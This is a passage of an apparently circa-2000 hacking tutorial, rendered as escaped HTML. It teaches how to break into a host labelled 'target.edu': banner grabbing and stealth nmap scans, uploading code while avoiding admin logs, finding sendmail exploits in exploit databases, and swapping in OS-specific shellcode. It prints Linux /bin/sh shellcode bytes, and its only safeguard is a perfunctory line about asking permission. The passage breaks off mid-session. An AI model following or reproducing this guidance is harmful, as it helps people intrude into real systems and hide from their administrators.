&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; bash-2.03$ telnet target.edu 21&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Trying xx.xx.xx.xx...&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Connected to target.edu.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Escape character is '^]'.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 220 target.edu FTP server (SunOS 5.6)
ready.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; quit&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 221 Goodbye.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Connection closed by foreign host.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
You
see?&lt;/div&gt;
&lt;div class="Preformatted"&gt;
They
speak out some valuable information:&lt;/div&gt;
&lt;div class="Preformatted"&gt;
-their
operating system is SunOS 5.6&lt;/div&gt;
&lt;div class="Preformatted"&gt;
-their
FTP daemon is the standard provided by the OS.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; bash-2.03$ telnet target.edu 25&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Trying xx.xx.xx.xx...&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Connected to target.edu.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Escape character is '^]'.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 220 target.edu ESMTP Sendmail
8.11.0/8.9.3; Sun, 24 Sep 2000 09:18:14 -0&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 400 (EDT)&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; quit&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 221 2.0.0 target.edu closing connection&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Connection closed by foreign host.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
They
like to tell us everything:&lt;/div&gt;
&lt;div class="Preformatted"&gt;
-their
SMTP daemon is sendmail&lt;/div&gt;
&lt;div class="Preformatted"&gt;
-its
version is 8.11.0/8.9.3&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Experiment
with other ports to discover other daemons.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Why
is this information useful to us? cause the security bugs that can let us in
depend&lt;/div&gt;
&lt;div class="Preformatted"&gt;
on
the OS and daemons they are running.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
But
there is a problem here... such information can be faked!&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
It's
difficult to really know what daemons are they running, but we can know FOR
SURE&lt;/div&gt;
&lt;div class="Preformatted"&gt;
what's
the operating system:&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; bash-2.03$ nmap -sS target.edu&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Starting nmap V. 2.53 by
fyodor@insecure.org ( www.insecure.org/nmap/ )&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Interesting ports on target.edu
(xx.xx.xx.xx):&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (The 1518 ports scanned but not shown
below are in state: closed)&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Port&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; State&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Service&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 21/tcp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; open&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
ftp&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 23/tcp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; open&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
telnet&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 25/tcp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; open&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
smtp&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 80/tcp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; open&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
http&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 110/tcp&amp;nbsp;&amp;nbsp;&amp;nbsp; open&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
pop3&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; TCP Sequence Prediction: Class=random
positive increments&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Difficulty=937544 (Good luck!)&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Remote operating system guess: Linux
2.1.122 - 2.2.14&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Nmap run completed -- 1 IP address (1
host up) scanned in 34 seconds&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Hey
wasn't it SunOS 5.6? Damn they're a bunch of lame fakers!&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
We
know the host is running the Linux 2.x kernel. It'd be useful to know also the
distribution,&lt;/div&gt;
&lt;div class="Preformatted"&gt;
but
the information we've already gathered should be enough.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
This
nmap feature is cool, isn't it? So even if they've tried to fool us, we can
know&lt;/div&gt;
&lt;div class="Preformatted"&gt;
what's
the OS there and its very difficult to avoid it.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Also
take a look to the TCP Sequence Prediction. If you scan a host and nmap tells&lt;/div&gt;
&lt;div class="Preformatted"&gt;
you
their difficulty is low, that means their TCP sequence is predictable and we&lt;/div&gt;
&lt;div class="Preformatted"&gt;
can
make spoofing attacks. This usually happens with windoze (9x or NT) boxes.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Ok,
we've scanned the target. If the admins detect we've scanned them, they could
get angry.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
And
we don't want the admins to get angry with us, that's why we used the -sS
option.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
This
way (most) hosts don't detect ANYTHING from the portscan.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Anyway,
scanning is LEGAL so you shouldn't have any problems with it. If you want a
better&lt;/div&gt;
&lt;div class="Preformatted"&gt;
usage
of nmap's features, read its man page:&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; bash-2.03$ man nmap&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; How to upload and
compile programs&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
The
most obvious and simple way is using FTP:&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; bash-2.03$ ls&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; program.c&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sh-2.03$ ftp target.edu&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Connected to target.edu.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 220 target.edu FTP server (SunOS 5.6)
ready.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Name: luser&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 331 Password required for luser.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Password:&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 230 User luser logged in.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ftp&amp;gt; put program.c&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 200 PORT command successful.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 150 ASCII data connection for program.c
(204.42.253.18,57982).&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 226 Transfer complete.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ftp&amp;gt; quit&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 221 Goodbye.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
But
this is not a really good way. It can create logs that will make the admin to
detect us.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Avoid
uploading it with FTP as you can, use cut&amp;amp;paste instead.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Here's
how to make it:&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
we
run a text editor&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sh-2.03$ pico exploit.c&lt;/div&gt;
&lt;div class="Preformatted"&gt;
if
it doesn't work, try this one:&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sh-2.03$ vi exploit.c&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Of
course, you must learn how to use vi.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Then
open another terminal (i mean without x windows, CTRL+ALT+Fx to scape from
xwindows to x,&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;ALT+Fx to change to another terminal, ALT+F7
to return xwindows) on your own box and cut the &lt;/div&gt;
&lt;div class="Preformatted"&gt;
text
from it. Change to your target and paste the code so you've 'uploaded' the
file.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
To
cut a text from the screen, you need to install the gpm packet from your linux
distribution.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
This
program lets you select and cut text with your mouse.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
If
cut&amp;amp;paste doesn't work, you can also type it by hand (they aren't usually
large).&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Once
you get the .c file there, here's how to compile:&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sh-2.03$ gcc program.c -o program&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
and
execute:&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sh-2.03$ ./program&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Exploiting
vulnerabilities&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
This
is the most important part of our hacking experience. Once we know what
target.edu&lt;/div&gt;
&lt;div class="Preformatted"&gt;
is
running, we can go to one of those EXPLOIT databases that are on the net.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
A
exploit is a piece of code that exploits a vulnerability on its software. In
the case of&lt;/div&gt;
&lt;div class="Preformatted"&gt;
target.edu,
we should look for an adequate exploit for sendmail 8.11.0 or any other daemon&lt;/div&gt;
&lt;div class="Preformatted"&gt;
that
fits. Note that sendmail is the buggiest and the shittiest daemon, thus the
most easy&lt;/div&gt;
&lt;div class="Preformatted"&gt;
exploitable.
If your target gots an old version, you'll probably get in easyly.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
When
we exploit a security bug, we can get:&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
-
a normal shell (don't know what a shell is? read a book of unix!)&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
a
shell is a command interpreter. for example, the windoze 'shell' is the
command.com file.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
this
one lets us send commands to the box, but we got limited priviledges.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
-
a root shell&lt;/div&gt;
&lt;div class="Preformatted"&gt;
this
is our goal, once we're root, we can do EVERYTHING on our 'rooted' box.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
These
are some exploit databases i suggest you to visit:&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
www.hack.co.za&lt;/div&gt;
&lt;div class="Preformatted"&gt;
www.r00tabega.org&lt;/div&gt;
&lt;div class="Preformatted"&gt;
www.rootshell.com&lt;/div&gt;
&lt;div class="Preformatted"&gt;
www.securityfocus.com&lt;/div&gt;
&lt;div class="Preformatted"&gt;
www.insecure.org/sploits.html&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Every
exploit is different to use, so read its text and try them.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
They
usually come in .c language.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
The
most standar and easy to use exploits are buffer overflows.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
I
won't explain here how a buffer overflow does work, &lt;/div&gt;
&lt;div class="Preformatted"&gt;
Read
"Smash The Stack For Fun And Profit" by Aleph One to learn it.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
You
can download it from my site. (www.3b0x.com)&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Buffer
overflows fool a program (in this case sendmail) to make it execute the code
you want.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
This
code usually executes a shell, so it's called 'shellcode'. The shellcode to run
a shell&lt;/div&gt;
&lt;div class="Preformatted"&gt;
is
different to every OS, so this is a strong reason to know what OS they're
running.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
We
edit the .c file we've downloaded and look for something like this:&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
char
shellcode[] =&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "\x80\xe8\xdc\xff\xff\xff/bin/sh";&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
This
is a shellcode for Linux. It will execute /bin/sh, that is, a shell.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
You
gotta replace it by the shellcode for the OS your target is running.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
You
can find shellcodes for most OSes on my site or create your own by reading&lt;/div&gt;
&lt;div class="Preformatted"&gt;
the
text i mentioned before (Smash The Stack For Fun And Profit).&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
IMPORTANT:
before continuing with the practice, ask your target for permission to hack
them.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if they let you do it, then you
shall continue.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if they don't give you permission,
STOP HERE and try with another one.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; shall you continue without their
permission, you'd be inquiring law and&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; i'm not responible of your craziness
in any way!!!&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
You
should have now the shell account, this is the time to use it!&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
everything
i explain on this section, do it through your shell account:&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; bash-2.03$ telnet myshellaccount 23&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Trying xx.xx.xx.xx...&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Connected to yourshellaccount.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Escape character is '^]'.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Welcome to yourshellaccount&lt;/div&gt;
&lt;div class="Preformatted"&gt;
